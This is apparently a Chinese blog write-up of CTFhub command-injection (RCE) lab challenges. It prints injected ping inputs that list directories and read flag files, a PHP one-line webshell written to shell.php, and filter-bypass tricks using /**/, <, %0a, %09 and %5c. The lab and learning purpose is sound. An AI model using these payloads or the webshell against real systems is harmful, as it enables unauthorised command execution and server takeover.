CTFhub-RCE


RCE

在开始之前我们进行一些简单的了解,其实我也是做题做到后面才发现一些知识是必要去掌握的🧚‍♂️🧚‍♀️🧛‍♀️🧛‍♂️🧜‍♀️🧜‍♀️

知识点-这里最好了解一下
RCE分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理

  1. 我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
  2. 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
  3. 其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。

其中对于不同系统的命令指示又有着不同的命令符:

对于Windows系统

1.|”:直接执行后面的语句。
2.||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3.&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4.&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

对于Linux系统

.;”:执行完前面的语句再执行后面的语句。
.|”:显示后面语句的执行结果。
.||”:当前面的语句执行出错时,执行后面的语句。
.&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
.&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

命令注入

在这里插入图片描述
既然提示输入IP让我们输入本地试试

127.01.01.1

在这里插入图片描述
得到显示后,尝试得到该路径下文件

127.01.01.1&ls

在这里插入图片描述
获取文件内容信息

127.01.01.1&cat 120731029228103.php

在这里插入图片描述
没有结果,这里可能是文件中包含特殊符号,使用管道运行base64加密内容

127.01.01.1&cat *.php | base64

在这里插入图片描述

尝试base64解密
在这里插入图片描述
这里还有第二种方法,利用命令执行写入一句话木马

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

因为环境问题,昨天还可以今天就不行了,但是方法是可行的!👀👀

过滤cat

本文开始前先贴出一些小知识:
linux查看文本的命令

  • cat 由第一行开始显示内容,并将所有内容输出
  • tac 从最后一行倒序显示内容,并将所有内容输出
  • more 根据窗口大小,一页一页的现实文件内容
  • lessmore类似,但其优点可以往前翻页,而且进行可以搜索字符
  • head 只显示头几行
  • tail 只显示最后几行
  • nl 类似于cat -n,显示时输出行号
  • tailf 类似于tail -f

showtime
在这里插入图片描述
根据上题的思路继续进行

127.0.0.1

在这里插入图片描述
检索目录

127.0.0.1&ls

在这里插入图片描述
先试试cat是否可以使用

127.0.0.1&cat flag_30210295964775.php

在这里插入图片描述
好吧看来是不行了
试试上一题讲到的一句话木马上传

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

在这里插入图片描述
得到flag
在这里插入图片描述

过滤空格

在这里插入图片描述
过滤空格可以使用/**/ 或者<代替

127.0.0.1/**/&/**/ls

在这里插入图片描述
使用cat进行获取

127.0.0.1/**/&/**/cat/**/flag_12333170278981.php

在这里插入图片描述
没有结果,获取flag文件下base64密文

127.0.0.1|cat<flag_12333170278981.php|base64

在这里插入图片描述
解密在这里插入图片描述

过滤目录分隔符

在这里插入图片描述
解题思路:
1、既然’/‘无法使用那我们可以使用cd 进入文件夹中
2、对管道进行使用base64加密

按照惯例对题目文件目录进行查看

127.0.0.1&ls

在这里插入图片描述
cd进入文件目录
cd 进入flag_is_here目录,
ls 显示flag_is_here目录里的内容。

127.0.0.1;cd flag_is_here;ls

在这里插入图片描述
进入该文件中获取信息
1、cd 进入文件
2、cat 获取文件内容
3、base64进行加密显示内容

127.0.0.1;cd flag_is_here;cat flag_11328226429806.php|base64

在这里插入图片描述
进行解密在这里插入图片描述

过滤运算符

在这里插入图片描述

  1. 这里过滤了,|和&两个运算符,这两种运算符在这里是无法执行后面的命令
  2. 没事问题不大👩‍💻👩‍💻👨‍💻👨‍💻我们可以使用分隔运算符进行命令

老样子,先检索目录吧

127.0.0.1;ls

在这里插入图片描述
这就把flag文本文件展现了出来,那就cat 文本内容

127.0.0.1;cat flag_14322672312813.php

在这里插入图片描述
哇哦,flag呢😡😡😡😡不要急,这次我们不用base64对内容加密获取了,我们来看看文件的源码,看看藏在哪在这里插入图片描述
这不是出来了
由于对|进行过滤了,直接对管道进行base64加密

127.0.0.1;base64 flag_14322672312813.php

在这里插入图片描述
进行解密在这里插入图片描述

综合练习

对于过滤情况的题,我发现了一个宝藏!!!
url补充表
在这里插入图片描述
在这里插入图片描述

接下来我们来进行解题吧在这里插入图片描述
可以看到本题过滤了:/ \ & ; cat flag ctfhub这些运算符
在本题中

1、使用%0a代替换行符
2、使用%09a替代TABJ补充被过滤的flag
3%5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了)

检索目录

127.0.0.1%0als

在这里插入图片描述

进入到FLAG文件中

127.0.0.1%0als

在这里插入图片描述

这里%09用于补充被过滤掉的flag

接下看我们查看flag_324582491729512.php的内容信息

127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_324582491729512.php
在这里因为cat被过滤了因此需要%5c将cat分隔开绕过过滤

在这里插入图片描述
查看源代码

在这里插入图片描述
或者直接对管道进行base64加密

127.0.0.1%0acd%09*_is_here%0abase64%09*_324582491729512.php

在这里插入图片描述
解密在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值